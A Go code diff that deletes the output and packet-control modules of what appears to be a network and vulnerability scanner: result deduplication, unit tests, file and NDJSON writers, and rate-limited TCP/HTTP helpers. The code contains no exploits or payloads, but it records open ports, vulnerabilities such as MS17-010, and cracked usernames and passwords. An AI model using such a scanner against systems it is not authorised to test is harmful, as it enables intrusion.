-// 直接调用WrapperTcpWithTimeout，自动处理发包限制、代理和统计
-func SafeTCPDial(address string, timeout time.Duration) (net.Conn, error) {
-	return WrapperTcpWithTimeout("tcp", address, timeout)
-}
-
-// =============================================================================
-// HTTP 请求
-// =============================================================================
-
-// IsProxyEnabled 检查是否启用了代理（封装proxy包的函数）
-func IsProxyEnabled() bool {
-	return proxy.IsProxyEnabled()
-}
-
-// IsProxyReliable 检查代理是否可靠（不存在全回显问题）
-func IsProxyReliable() bool {
-	return proxy.IsProxyReliable()
-}
-
-// IsSOCKS5Proxy 检查当前代理是否为SOCKS5类型
-func IsSOCKS5Proxy() bool {
-	return proxy.IsSOCKS5Proxy()
-}
-
-// SafeHTTPDo 带发包控制的HTTP请求
-func SafeHTTPDo(client *http.Client, req *http.Request) (*http.Response, error) {
-	// 检查发包限制
-	if canSend, reason := CanSendPacket(); !canSend {
-		LogError(fmt.Sprintf("HTTP请求 %s 受限: %s", req.URL.String(), reason))
-		return nil, fmt.Errorf("发包受限: %s", reason)
-	}
-
-	// 执行HTTP请求
-	resp, err := client.Do(req)
-
-	// 统计TCP包数量 (HTTP本质上是TCP)
-	if err != nil {
-		GetGlobalState().IncrementTCPFailedPacketCount()
-	} else {
-		GetGlobalState().IncrementTCPSuccessPacketCount()
-	}
-
-	return resp, err
-}

common/output/buffer.go

@@ -1,183 +0,0 @@
-package output
-
-import (
-	"fmt"
-	"sync"
-)
-
-// ResultBuffer 公共的去重缓冲逻辑，供各Writer复用
-type ResultBuffer struct {
-	mu sync.Mutex
-
-	// 分类缓冲
-	HostResults    []*ScanResult
-	PortResults    []*ScanResult
-	ServiceResults []*ScanResult
-	VulnResults    []*ScanResult
-
-	// 去重map
-	seenHosts    map[string]struct{}
-	seenPorts    map[string]struct{}
-	seenServices map[string]int // 存储索引，用于更新更完整的记录
-	seenVulns    map[string]struct{}
-}
-
-// NewResultBuffer 创建新的结果缓冲
-func NewResultBuffer() *ResultBuffer {
-	return &ResultBuffer{
-		seenHosts:    make(map[string]struct{}),
-		seenPorts:    make(map[string]struct{}),
-		seenServices: make(map[string]int),
-		seenVulns:    make(map[string]struct{}),
-	}
-}
-
-// Add 添加结果到缓冲（自动去重）
-func (b *ResultBuffer) Add(result *ScanResult) {
-	b.mu.Lock()
-	defer b.mu.Unlock()
-
-	if result == nil {
-		return
-	}
-
-	key := b.generateKey(result)
-
-	switch result.Type {
-	case TypeHost:
-		if _, exists := b.seenHosts[key]; !exists {
-			b.seenHosts[key] = struct{}{}
-			b.HostResults = append(b.HostResults, result)
-		}
-	case TypePort:
-		if _, exists := b.seenPorts[key]; !exists {
-			b.seenPorts[key] = struct{}{}
-			b.PortResults = append(b.PortResults, result)
-		}
-	case TypeService:
-		if idx, exists := b.seenServices[key]; !exists {
-			b.seenServices[key] = len(b.ServiceResults)
-			b.ServiceResults = append(b.ServiceResults, result)
-		} else {
-			b.mergeDetails(b.ServiceResults[idx], result)
-			// 保留信息更完整的记录，同时保留另一条记录补充的字段
-			if b.isMoreComplete(result, b.ServiceResults[idx]) {
-				b.ServiceResults[idx] = result
-			}
-		}
-	case TypeVuln:
-		if _, exists := b.seenVulns[key]; !exists {
-			b.seenVulns[key] = struct{}{}
-			b.VulnResults = append(b.VulnResults, result)
-		}
-	}
-}
-
-func (b *ResultBuffer) mergeDetails(oldResult, newResult *ScanResult) {
-	if oldResult == nil || newResult == nil {
-		return
-	}
-	if oldResult.Details == nil {
-		oldResult.Details = make(map[string]interface{})
-	}
-	if newResult.Details == nil {
-		newResult.Details = make(map[string]interface{})
-	}
-	for k, v := range oldResult.Details {
-		if _, exists := newResult.Details[k]; !exists {
-			newResult.Details[k] = v
-		}
-	}
-	for k, v := range newResult.Details {
-		if _, exists := oldResult.Details[k]; !exists {
-			oldResult.Details[k] = v
-		}
-	}
-}
-
-// generateKey 生成结果的唯一键（用于去重）
-func (b *ResultBuffer) generateKey(result *ScanResult) string {
-	switch result.Type {
-	case TypeHost:
-		return result.Target
-	case TypePort:
-		if result.Details != nil {
-			if port, ok := result.Details["port"]; ok {
-				return fmt.Sprintf("%s:%v", result.Target, port)
-			}
-		}
-		return result.Target
-	case TypeService:
-		return result.Target
-	case TypeVuln:
-		return result.Target + "|" + result.Status
-	default:
-		return result.Target + "|" + result.Status
-	}
-}
-
-// isMoreComplete 判断新记录是否比旧记录信息更完整
-func (b *ResultBuffer) isMoreComplete(newResult, oldResult *ScanResult) bool {
-	return b.CalculateCompleteness(newResult) > b.CalculateCompleteness(oldResult)
-}
-
-// CalculateCompleteness 计算记录的信息完整度
-func (b *ResultBuffer) CalculateCompleteness(result *ScanResult) int {
-	score := 0
-	if result.Details == nil {
-		return score
-	}
-
-	// 有 status 码加分
-	if status, ok := result.Details["status"]; ok && status != nil && status != 0 {
-		score += 2
-	}
-	// 有 server 加分
-	if server, ok := result.Details["server"].(string); ok && server != "" {
-		score += 2
-	}
-	// 有 title 加分
-	if title, ok := result.Details["title"].(string); ok && title != "" {
-		score += 1
-	}
-	// 有指纹加分
-	if fps := result.Details["fingerprints"]; fps != nil {
-		switch v := fps.(type) {
-		case []string:
-			if len(v) > 0 {
-				score += 3
-			}
-		case []interface{}:
-			if len(v) > 0 {
-				score += 3
-			}
-		}
-	}
-	// 有 banner 加分
-	if banner, ok := result.Details["banner"].(string); ok && banner != "" {
-		score += 1
-	}
-
-	return score
-}
-
-// Summary 获取统计摘要
-func (b *ResultBuffer) Summary() (hosts, ports, services, vulns int) {
-	b.mu.Lock()
-	defer b.mu.Unlock()
-	return len(b.HostResults), len(b.PortResults), len(b.ServiceResults), len(b.VulnResults)
-}
-
-// Clear 清空缓冲
-func (b *ResultBuffer) Clear() {
-	b.mu.Lock()
-	defer b.mu.Unlock()
-	b.HostResults = nil
-	b.PortResults = nil
-	b.ServiceResults = nil
-	b.VulnResults = nil
-	b.seenHosts = make(map[string]struct{})
-	b.seenPorts = make(map[string]struct{})
-	b.seenServices = make(map[string]int)
-	b.seenVulns = make(map[string]struct{})
-}

common/output/buffer_test.go

@@ -1,475 +0,0 @@
-package output
-
-import (
-	"fmt"
-	"sync"
-	"testing"
-)
-
-/*
-buffer_test.go - ResultBuffer 高价值测试
-
-测试重点：
-1. 去重逻辑 - 不同结果类型的去重策略差异
-2. 完整度评分 - 决定是否替换已有服务记录
-3. 并发安全 - 多goroutine同时Add
-*/
-
-// =============================================================================
-// 基本去重测试
-// =============================================================================
-
-// TestResultBuffer_HostDeduplication 测试主机去重
-func TestResultBuffer_HostDeduplication(t *testing.T) {
-	buf := NewResultBuffer()
-
-	// 添加相同主机多次
-	for i := 0; i < 10; i++ {
-		buf.Add(&ScanResult{
-			Type:   TypeHost,
-			Target: "192.168.1.1",
-			Status: "alive",
-		})
-	}
-
-	hosts, _, _, _ := buf.Summary()
-	if hosts != 1 {
-		t.Errorf("主机应去重为1个，实际 %d", hosts)
-	}
-}
-
-// TestResultBuffer_PortDeduplication 测试端口去重
-func TestResultBuffer_PortDeduplication(t *testing.T) {
-	buf := NewResultBuffer()
-
-	// 相同IP:Port应去重
-	for i := 0; i < 5; i++ {
-		buf.Add(&ScanResult{
-			Type:    TypePort,
-			Target:  "192.168.1.1",
-			Details: map[string]interface{}{"port": 80},
-		})
-	}
-
-	// 不同端口不去重
-	buf.Add(&ScanResult{
-		Type:    TypePort,
-		Target:  "192.168.1.1",
-		Details: map[string]interface{}{"port": 443},
-	})
-
-	_, ports, _, _ := buf.Summary()
-	if ports != 2 {
-		t.Errorf("端口应有2个（80和443），实际 %d", ports)
-	}
-}
-
-// TestResultBuffer_ServiceDeduplication 测试服务去重
-func TestResultBuffer_ServiceDeduplication(t *testing.T) {
-	buf := NewResultBuffer()
-
-	// 相同Target的服务应去重
-	buf.Add(&ScanResult{
-		Type:   TypeService,
-		Target: "192.168.1.1:80",
-		Status: "http",
-	})
-	buf.Add(&ScanResult{
-		Type:   TypeService,
-		Target: "192.168.1.1:80",
-		Status: "nginx",
-	})
-
-	_, _, services, _ := buf.Summary()
-	if services != 1 {
-		t.Errorf("相同Target的服务应去重为1个，实际 %d", services)
-	}
-}
-
-// TestResultBuffer_VulnDeduplication 测试漏洞去重
-func TestResultBuffer_VulnDeduplication(t *testing.T) {
-	buf := NewResultBuffer()
-
-	// 相同Target+Status的漏洞应去重
-	for i := 0; i < 3; i++ {
-		buf.Add(&ScanResult{
-			Type:   TypeVuln,
-			Target: "192.168.1.1:445",
-			Status: "MS17-010",
-		})
-	}
-
-	// 不同漏洞不去重
-	buf.Add(&ScanResult{
-		Type:   TypeVuln,
-		Target: "192.168.1.1:445",
-		Status: "CVE-2020-0796",
-	})
-
-	_, _, _, vulns := buf.Summary()
-	if vulns != 2 {
-		t.Errorf("漏洞应有2个，实际 %d", vulns)
-	}
-}
-
-// =============================================================================
-// 完整度评分测试
-// =============================================================================
-
-// TestResultBuffer_CompletenessScore 测试完整度评分
-func TestResultBuffer_CompletenessScore(t *testing.T) {
-	buf := NewResultBuffer()
-
-	tests := []struct {
-		name          string
-		result        *ScanResult
-		expectedScore int
-	}{
-		{
-			name:          "空Details",
-			result:        &ScanResult{Details: nil},
-			expectedScore: 0,
-		},
-		{
-			name:          "只有status",
-			result:        &ScanResult{Details: map[string]interface{}{"status": 200}},
-			expectedScore: 2,
-		},
-		{
-			name:          "有server",
-			result:        &ScanResult{Details: map[string]interface{}{"server": "nginx/1.18.0"}},
-			expectedScore: 2,
-		},
-		{
-			name:          "有title",
-			result:        &ScanResult{Details: map[string]interface{}{"title": "Welcome"}},
-			expectedScore: 1,
-		},
-		{
-			name:          "有指纹-[]string",
-			result:        &ScanResult{Details: map[string]interface{}{"fingerprints": []string{"nginx"}}},
-			expectedScore: 3,
-		},
-		{
-			name:          "有指纹-[]interface{}",
-			result:        &ScanResult{Details: map[string]interface{}{"fingerprints": []interface{}{"apache", "php"}}},
-			expectedScore: 3,
-		},
-		{
-			name:          "有banner",
-			result:        &ScanResult{Details: map[string]interface{}{"banner": "SSH-2.0-OpenSSH"}},
-			expectedScore: 1,
-		},
-		{
-			name: "完整记录",
-			result: &ScanResult{
-				Details: map[string]interface{}{
-					"status":       200,
-					"server":       "nginx",
-					"title":        "Home",
-					"fingerprints": []string{"nginx", "php"},
-					"banner":       "test",
-				},
-			},
-			expectedScore: 9, // 2+2+1+3+1
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			score := buf.CalculateCompleteness(tt.result)
-			if score != tt.expectedScore {
-				t.Errorf("完整度评分 = %d, 期望 %d", score, tt.expectedScore)
-			}
-		})
-	}
-}
-
-// TestResultBuffer_ServiceUpdate 测试服务记录更新
-//
-// 当新记录比旧记录更完整时，应该替换
-func TestResultBuffer_ServiceUpdate(t *testing.T) {
-	buf := NewResultBuffer()
-
-	// 先添加简单记录
-	buf.Add(&ScanResult{
-		Type:    TypeService,
-		Target:  "192.168.1.1:80",
-		Status:  "http",
-		Details: map[string]interface{}{},
-	})
-
-	// 再添加更完整的记录
-	buf.Add(&ScanResult{
-		Type:   TypeService,
-		Target: "192.168.1.1:80",
-		Status: "http",
-		Details: map[string]interface{}{
-			"status":       200,
-			"server":       "nginx/1.18.0",
-			"title":        "Welcome",
-			"fingerprints": []string{"nginx", "php"},
-		},
-	})
-
-	_, _, services, _ := buf.Summary()
-	if services != 1 {
-		t.Fatal("服务数量应为1")
-	}
-
-	// 验证是更完整的记录
-	if buf.ServiceResults[0].Details == nil {
-		t.Fatal("Details不应为nil")
-	}
-	if buf.ServiceResults[0].Details["server"] != "nginx/1.18.0" {
-		t.Error("应保留更完整的记录")
-	}
-}
-
-func TestResultBuffer_ServiceUpdateMergesDetails(t *testing.T) {
-	buf := NewResultBuffer()
-
-	buf.Add(&ScanResult{
-		Type:   TypeService,
-		Target: "192.168.1.1:80",
-		Status: "identified",
-		Details: map[string]interface{}{
-			"service": "http",
-			"banner":  "HTTP/1.1 200 OK",
-		},
-	})
-	buf.Add(&ScanResult{
-		Type:   TypeService,
-		Target: "192.168.1.1:80",
-		Status: "web",
-		Details: map[string]interface{}{
-			"title":  "Home",
-			"status": 200,
-			"server": "nginx",
-		},
-	})
-
-	if len(buf.ServiceResults) != 1 {
-		t.Fatalf("期望1条服务记录，实际 %d", len(buf.ServiceResults))
-	}
-	details := buf.ServiceResults[0].Details
-	for _, key := range []string{"service", "banner", "title", "status", "server"} {
-		if _, ok := details[key]; !ok {
-			t.Errorf("合并后的服务记录缺少字段 %q: %#v", key, details)
-		}
-	}
-}
-
-// TestResultBuffer_ServiceNoDowngrade 测试不降级服务记录
-//
-// 当新记录不如旧记录完整时，不应替换
-func TestResultBuffer_ServiceNoDowngrade(t *testing.T) {
-	buf := NewResultBuffer()
-
-	// 先添加完整记录
-	buf.Add(&ScanResult{
-		Type:   TypeService,
-		Target: "192.168.1.1:80",
-		Status: "http",
-		Details: map[string]interface{}{
-			"status":       200,
-			"server":       "nginx/1.18.0",
-			"fingerprints": []string{"nginx"},
-		},
-	})
-
-	// 再添加简单记录
-	buf.Add(&ScanResult{
-		Type:    TypeService,
-		Target:  "192.168.1.1:80",
-		Status:  "http",
-		Details: map[string]interface{}{},
-	})
-
-	// 验证仍保留完整记录
-	if buf.ServiceResults[0].Details["server"] != "nginx/1.18.0" {
-		t.Error("不应降级到不完整的记录")
-	}
-}
-
-// =============================================================================
-// 并发安全测试
-// =============================================================================
-
-// TestResultBuffer_ConcurrentAdd 测试并发添加
-func TestResultBuffer_ConcurrentAdd(t *testing.T) {
-	buf := NewResultBuffer()
-
-	const goroutines = 100
-	const resultsPerGoroutine = 100
-
-	var wg sync.WaitGroup
-	wg.Add(goroutines)
-
-	for i := 0; i < goroutines; i++ {
-		go func(id int) {
-			defer wg.Done()
-			for j := 0; j < resultsPerGoroutine; j++ {
-				// 每个goroutine添加不同类型的结果
-				switch j % 4 {
-				case 0:
-					buf.Add(&ScanResult{
-						Type:   TypeHost,
-						Target: fmt.Sprintf("192.168.%d.%d", id, j),
-					})
-				case 1:
-					buf.Add(&ScanResult{
-						Type:    TypePort,
-						Target:  fmt.Sprintf("192.168.%d.%d", id, j),
-						Details: map[string]interface{}{"port": j},
-					})
-				case 2:
-					buf.Add(&ScanResult{
-						Type:   TypeService,
-						Target: fmt.Sprintf("192.168.%d.%d:%d", id, j, j),
-					})
-				case 3:
-					buf.Add(&ScanResult{
-						Type:   TypeVuln,
-						Target: fmt.Sprintf("192.168.%d.%d", id, j),
-						Status: fmt.Sprintf("CVE-%d", j),
-					})
-				}
-			}
-		}(i)
-	}
-
-	wg.Wait()
-
-	// 验证没有panic，数据完整
-	hosts, ports, services, vulns := buf.Summary()
-	total := hosts + ports + services + vulns
-
-	if total == 0 {
-		t.Error("并发添加后应有结果")
-	}
-
-	t.Logf("并发测试完成: %d hosts, %d ports, %d services, %d vulns",
-		hosts, ports, services, vulns)
-}
-
-// TestResultBuffer_ConcurrentSummary 测试并发获取摘要
-func TestResultBuffer_ConcurrentSummary(t *testing.T) {
-	buf := NewResultBuffer()
-
-	// 预填充一些数据
-	for i := 0; i < 100; i++ {
-		buf.Add(&ScanResult{
-			Type:   TypeHost,
-			Target: fmt.Sprintf("192.168.1.%d", i),
-		})
-	}
-
-	var wg sync.WaitGroup
-	wg.Add(100)
-
-	for i := 0; i < 100; i++ {
-		go func() {
-			defer wg.Done()
-			// 同时获取摘要和添加
-			buf.Summary()
-			buf.Add(&ScanResult{
-				Type:   TypeHost,
-				Target: "10.0.0.1",
-			})
-		}()
-	}
-
-	wg.Wait()
-	// 没有panic即为成功
-}
-
-// =============================================================================
-// 边界情况测试
-// =============================================================================
-
-// TestResultBuffer_NilResult 测试nil结果
-func TestResultBuffer_NilResult(t *testing.T) {
-	buf := NewResultBuffer()
-	buf.Add(nil) // 不应panic
-
-	hosts, ports, services, vulns := buf.Summary()
-	if hosts+ports+services+vulns != 0 {
-		t.Error("添加nil后应无结果")
-	}
-}
-
-// TestResultBuffer_PortWithoutDetails 测试无Details的端口
-func TestResultBuffer_PortWithoutDetails(t *testing.T) {
-	buf := NewResultBuffer()
-
-	buf.Add(&ScanResult{
-		Type:    TypePort,
-		Target:  "192.168.1.1",
-		Details: nil,
-	})
-
-	_, ports, _, _ := buf.Summary()
-	if ports != 1 {
-		t.Error("无Details的端口也应被添加")
-	}
-}
-
-// TestResultBuffer_Clear 测试清空
-func TestResultBuffer_Clear(t *testing.T) {
-	buf := NewResultBuffer()
-
-	// 添加各类结果
-	buf.Add(&ScanResult{Type: TypeHost, Target: "192.168.1.1"})
-	buf.Add(&ScanResult{Type: TypePort, Target: "192.168.1.1", Details: map[string]interface{}{"port": 80}})
-	buf.Add(&ScanResult{Type: TypeService, Target: "192.168.1.1:80"})
-	buf.Add(&ScanResult{Type: TypeVuln, Target: "192.168.1.1", Status: "CVE-2021-1234"})
-
-	// 清空
-	buf.Clear()
-
-	hosts, ports, services, vulns := buf.Summary()
-	if hosts+ports+services+vulns != 0 {
-		t.Error("Clear后应无结果")
-	}
-
-	// 验证可以继续添加
-	buf.Add(&ScanResult{Type: TypeHost, Target: "10.0.0.1"})
-	hosts, _, _, _ = buf.Summary()
-	if hosts != 1 {
-		t.Error("Clear后应能继续添加")
-	}
-}
-
-// TestResultBuffer_EmptyFingerprints 测试空指纹数组
-func TestResultBuffer_EmptyFingerprints(t *testing.T) {
-	buf := NewResultBuffer()
-
-	// 空字符串数组
-	score1 := buf.CalculateCompleteness(&ScanResult{
-		Details: map[string]interface{}{"fingerprints": []string{}},
-	})
-	if score1 != 0 {
-		t.Errorf("空指纹数组不应加分，实际 %d", score1)
-	}
-
-	// 空interface数组
-	score2 := buf.CalculateCompleteness(&ScanResult{
-		Details: map[string]interface{}{"fingerprints": []interface{}{}},
-	})
-	if score2 != 0 {
-		t.Errorf("空interface数组不应加分，实际 %d", score2)
-	}
-}
-
-// TestResultBuffer_StatusZero 测试status为0
-func TestResultBuffer_StatusZero(t *testing.T) {
-	buf := NewResultBuffer()
-
-	score := buf.CalculateCompleteness(&ScanResult{
-		Details: map[string]interface{}{"status": 0},
-	})
-	if score != 0 {
-		t.Errorf("status为0不应加分，实际 %d", score)
-	}
-}

common/output/constants.go

@@ -1,58 +0,0 @@
-package output
-
-import (
-	"os"
-)
-
-// =============================================================================
-// 输出格式常量
-// =============================================================================
-
-// Format 输出格式类型
-type Format string
-
-const (
-	// FormatTXT 文本格式输出
-	FormatTXT Format = "txt"
-	// FormatJSON JSON格式输出
-	FormatJSON Format = "json"
-	// FormatCSV CSV格式输出
-	FormatCSV Format = "csv"
-)
-
-// =============================================================================
-// 结果类型常量
-// =============================================================================
-
-// ResultType 定义结果类型
-type ResultType string
-
-const (
-	// TypeHost 主机存活
-	TypeHost ResultType = "HOST"
-	// TypePort 端口开放
-	TypePort ResultType = "PORT"
-	// TypeService 服务识别
-	TypeService ResultType = "SERVICE"
-	// TypeVuln 漏洞发现
-	TypeVuln ResultType = "VULN"
-)
-
-// =============================================================================
-// 文件操作常量
-// =============================================================================
-
-const (
-	// DefaultFilePermissions 文件操作权限
-	DefaultFilePermissions = 0644
-	// DefaultDirPermissions 目录操作权限
-	DefaultDirPermissions = 0755
-
-	// DefaultFileFlags 文件打开标志
-	DefaultFileFlags = os.O_CREATE | os.O_WRONLY | os.O_APPEND
-
-	// JSONIndentPrefix JSON格式化前缀
-	JSONIndentPrefix = ""
-	// JSONIndentString JSON格式化缩进字符串
-	JSONIndentString = "  "
-)

common/output/manager.go

@@ -1,113 +0,0 @@
-package output
-
-import (
-	"fmt"
-	"os"
-	"path/filepath"
-	"sync"
-)
-
-// Manager 简化的输出管理器
-type Manager struct {
-	mu     sync.RWMutex
-	config *ManagerConfig
-	writer Writer
-	closed bool
-}
-
-// NewManager 创建新的输出管理器
-func NewManager(config *ManagerConfig) (*Manager, error) {
-	if config == nil {
-		return nil, fmt.Errorf("output config cannot be nil")
-	}
-
-	// 创建输出目录
-	if err := createOutputDir(config.OutputPath); err != nil {
-		return nil, err
-	}
-
-	manager := &Manager{
-		config: config,
-	}
-
-	// 初始化写入器（内部会验证格式）
-	if err := manager.initializeWriter(); err != nil {
-		return nil, err
-	}
-
-	return manager, nil
-}
-
-// createOutputDir 创建输出目录
-func createOutputDir(outputPath string) error {
-	dir := filepath.Dir(outputPath)
-	return os.MkdirAll(dir, DefaultDirPermissions)
-}
-
-// initializeWriter 初始化写入器
-func (m *Manager) initializeWriter() error {
-	var writer Writer
-	var err error
-
-	switch m.config.Format {
-	case FormatTXT:
-		writer, err = NewTXTWriter(m.config.OutputPath)
-	case FormatJSON:
-		writer, err = NewJSONWriter(m.config.OutputPath)
-	case FormatCSV:
-		writer, err = NewCSVWriter(m.config.OutputPath)
-	default:
-		return fmt.Errorf("unsupported format: %s", m.config.Format)
-	}
-
-	if err != nil {
-		return err
-	}
-
-	m.writer = writer
-	return m.writer.WriteHeader()
-}
-
-// SaveResult 保存扫描结果
-func (m *Manager) SaveResult(result *ScanResult) error {
-	m.mu.RLock()
-	defer m.mu.RUnlock()
-
-	if m.closed {
-		return fmt.Errorf("output manager is closed")
-	}
-
-	if result == nil {
-		return fmt.Errorf("result cannot be nil")
-	}
-
-	return m.writer.Write(result)
-}
-
-// Flush 刷新输出
-func (m *Manager) Flush() error {
-	m.mu.RLock()
-	defer m.mu.RUnlock()
-
-	if m.closed {
-		return fmt.Errorf("output manager is closed")
-	}
-
-	return m.writer.Flush()
-}
-
-// Close 关闭输出管理器
-func (m *Manager) Close() error {
-	m.mu.Lock()
-	defer m.mu.Unlock()
-
-	if m.closed {
-		return nil
-	}
-
-	m.closed = true
-	if m.writer != nil {
-		return m.writer.Close()
-	}
-	return nil
-}

common/output/stdout_writer.go

@@ -1,145 +0,0 @@
-package output
-
-import (
-	"bufio"
-	"encoding/json"
-	"fmt"
-	"os"
-	"strings"
-	"sync"
-)
-
-type StdoutNDJSONWriter struct {
-	mu     sync.Mutex
-	writer *bufio.Writer
-}
-
-func NewStdoutNDJSONWriter() *StdoutNDJSONWriter {
-	return &StdoutNDJSONWriter{
-		writer: bufio.NewWriter(os.Stdout),
-	}
-}
-
-// ndjsonRecord NDJSON 输出的扁平化结构
-type ndjsonRecord struct {
-	Type    ResultType `json:"type"`
-	Target  string     `json:"target"`
-	Status  string     `json:"status"`
-	Host    string     `json:"host,omitempty"`
-	Port    int        `json:"port,omitempty"`
-	Service string     `json:"service,omitempty"`
-	// 通用可选字段
-	Protocol string `json:"protocol,omitempty"`
-	Banner   string `json:"banner,omitempty"`
-	Title    string `json:"title,omitempty"`
-	URL      string `json:"url,omitempty"`
-	// 漏洞/弱口令
-	Vulnerability string `json:"vulnerability,omitempty"`
-	Username      string `json:"username,omitempty"`
-	Password      string `json:"password,omitempty"`
-	// 其他
-	Plugin  string `json:"plugin,omitempty"`
-	Version string `json:"version,omitempty"`
-	OS      string `json:"os,omitempty"`
-}
-
-func (w *StdoutNDJSONWriter) WriteResult(result *ScanResult) error {
-	w.mu.Lock()
-	defer w.mu.Unlock()
-
-	rec := w.flatten(result)
-	data, err := json.Marshal(rec)
-	if err != nil {
-		return err
-	}
-	data = append(data, '\n')
-	if _, err := w.writer.Write(data); err != nil {
-		return err
-	}
-	return w.writer.Flush()
-}
-
-func (w *StdoutNDJSONWriter) flatten(r *ScanResult) *ndjsonRecord {
-	rec := &ndjsonRecord{
-		Type:   r.Type,
-		Target: r.Target,
-		Status: r.Status,
-	}
-
-	// 从 target 拆分 host:port
-	if host, port, ok := splitHostPort(r.Target); ok {
-		rec.Host = host
-		rec.Port = port
-	} else {
-		rec.Host = r.Target
-	}
-
-	d := r.Details
-	if d == nil {
-		return rec
-	}
-
-	// 从 details 提升一级字段（覆盖拆分结果）
-	if v, ok := d["port"]; ok {
-		if p, ok := toInt(v); ok {
-			rec.Port = p
-		}
-	}
-
-	rec.Service = strVal(d, "service")
-	rec.Protocol = strVal(d, "protocol")
-	rec.Banner = strVal(d, "banner")
-	rec.Title = strVal(d, "title")
-	rec.URL = strVal(d, "url")
-	rec.Vulnerability = strVal(d, "vulnerability")
-	rec.Username = strVal(d, "username")
-	rec.Password = strVal(d, "password")
-	rec.Plugin = strVal(d, "plugin")
-	rec.Version = strVal(d, "version")
-	rec.OS = strVal(d, "os")
-
-	return rec
-}
-
-func (w *StdoutNDJSONWriter) Close() error {
-	w.mu.Lock()
-	defer w.mu.Unlock()
-	return w.writer.Flush()
-}
-
-func strVal(d map[string]interface{}, key string) string {
-	v, ok := d[key]
-	if !ok {
-		return ""
-	}
-	s, ok := v.(string)
-	if !ok {
-		return fmt.Sprintf("%v", v)
-	}
-	return s
-}
-
-func toInt(v interface{}) (int, bool) {
-	switch n := v.(type) {
-	case int:
-		return n, true
-	case int64:
-		return int(n), true
-	case float64:
-		return int(n), true
-	}
-	return 0, false
-}
-
-func splitHostPort(target string) (string, int, bool) {
-	idx := strings.LastIndex(target, ":")
-	if idx < 0 {
-		return "", 0, false
-	}
-	host := target[:idx]
-	var port int
-	if _, err := fmt.Sscanf(target[idx+1:], "%d", &port); err != nil {
-		return "", 0, false
-	}
-	return host, port, true
-}

common/output/types.go

@@ -1,59 +0,0 @@
-package output
-
-import (
-	"fmt"
-	"sort"
-	"strings"
-	"time"
-)
-
-// ScanResult 扫描结果结构
-type ScanResult struct {
-	Time    time.Time              `json:"time"`    // 发现时间
-	Type    ResultType             `json:"type"`    // 结果类型
-	Target  string                 `json:"target"`  // 目标(IP/域名/URL)
-	Status  string                 `json:"status"`  // 状态描述
-	Details map[string]interface{} `json:"details"` // 详细信息
-}
-
-// FormatDetails 格式化Details为键值对字符串（排序key以保证输出稳定）
-func (r *ScanResult) FormatDetails(separator, kvFormat string) string {
-	if len(r.Details) == 0 {
-		return ""
-	}
-
-	keys := make([]string, 0, len(r.Details))
-	for key := range r.Details {
-		keys = append(keys, key)
-	}
-	sort.Strings(keys)
-
-	pairs := make([]string, 0, len(keys))
-	for _, key := range keys {
-		pairs = append(pairs, fmt.Sprintf(kvFormat, key, r.Details[key]))
-	}
-	return strings.Join(pairs, separator)
-}
-
-// Writer 输出写入器接口
-type Writer interface {
-	Write(result *ScanResult) error
-	WriteHeader() error
-	Flush() error
-	Close() error
-	GetFormat() Format
-}
-
-// ManagerConfig 输出管理器配置
-type ManagerConfig struct {
-	OutputPath string `json:"output_path"` // 输出路径
-	Format     Format `json:"format"`      // 输出格式
-}
-
-// DefaultManagerConfig 默认管理器配置
-func DefaultManagerConfig(outputPath string, format Format) *ManagerConfig {
-	return &ManagerConfig{
-		OutputPath: outputPath,
-		Format:     format,
-	}
-}

common/output/writers.go

@@ -1,784 +0,0 @@
-package output
-
-import (
-	"bufio"
-	"encoding/csv"
-	"encoding/json"
-	"fmt"
-	"os"
-	"strings"
-	"sync"
-	"time"
-)
-
-// escapeControlChars 转义控制字符
-func escapeControlChars(s string) string {
-	s = strings.ToValidUTF8(s, "?")
-
-	var b strings.Builder
-	for _, r := range s {
-		switch r {
-		case '\n':
-			b.WriteString("\\n")
-		case '\r':
-			b.WriteString("\\r")
-		case '\t':
-			b.WriteString("\\t")
-		default:
-			if r < 0x20 || r == 0x7f {
-				fmt.Fprintf(&b, "\\x%02x", r)
-				continue
-			}
-			b.WriteRune(r)
-		}
-	}
-	return b.String()
-}
-
-// =============================================================================
-// TXTWriter - 文本格式写入器
-// =============================================================================
-
-// TXTWriter 文本格式写入器（分类缓冲，按类型聚合输出）
-type TXTWriter struct {
-	file         *os.File
-	bufWriter    *bufio.Writer
-	mu           sync.Mutex
-	closed       bool
-	buffer       *ResultBuffer // 内存分类缓冲
-	realtimeFile *os.File      // 实时备份文件
-	realtimePath string        // 实时备份文件路径
-}
-
-// NewTXTWriter 创建文本写入器
-func NewTXTWriter(filePath string) (*TXTWriter, error) {
-	file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
-	if err != nil {
-		return nil, fmt.Errorf("failed to create TXT file: %w", err)
-	}
-
-	// 创建实时备份文件（防崩溃丢数据）
-	realtimePath := filePath + ".realtime.tmp"
-	realtimeFile, err := os.OpenFile(realtimePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
-	if err != nil {
-		file.Close()
-		return nil, fmt.Errorf("failed to create realtime backup file: %w", err)
-	}
-
-	return &TXTWriter{
-		file:         file,
-		bufWriter:    bufio.NewWriter(file),
-		buffer:       NewResultBuffer(),
-		realtimeFile: realtimeFile,
-		realtimePath: realtimePath,
-	}, nil
-}
-
-// WriteHeader 写入头部
-func (w *TXTWriter) WriteHeader() error {
-	return nil
-}
-
-// Write 收集扫描结果到分类缓冲，同时实时备份
-func (w *TXTWriter) Write(result *ScanResult) error {
-	w.mu.Lock()
-	defer w.mu.Unlock()
-
-	if w.closed {
-		return fmt.Errorf("writer is closed")
-	}
-	if result == nil {
-		return fmt.Errorf("result cannot be nil")
-	}
-
-	// 1. 加入内存分类缓冲（用于最终有序输出）
-	w.buffer.Add(result)
-
-	// 2. 实时写入备份文件（防崩溃丢数据）
-	if w.realtimeFile != nil {
-		line := w.formatLine(result)
-		if _, err := w.realtimeFile.WriteString(line + "\n"); err != nil {
-			return fmt.Errorf("failed to write realtime backup: %w", err)
-		}
-		if err := w.realtimeFile.Sync(); err != nil {
-			return fmt.Errorf("failed to sync realtime backup: %w", err)
-		}
-	}
-
-	return nil
-}
-
-// getSeparator 获取分隔线文本
-func (w *TXTWriter) getSeparator(newType ResultType) string {
-	switch newType {
-	case TypeHost:
-		return "# ===== 存活主机 ====="
-	case TypePort:
-		return "# ===== 开放端口 ====="
-	case TypeService:
-		return "# ===== 服务信息 ====="
-	case TypeVuln:
-		return "# ===== 漏洞信息 ====="
-	default:
-		return "# ===================="
-	}
-}
-
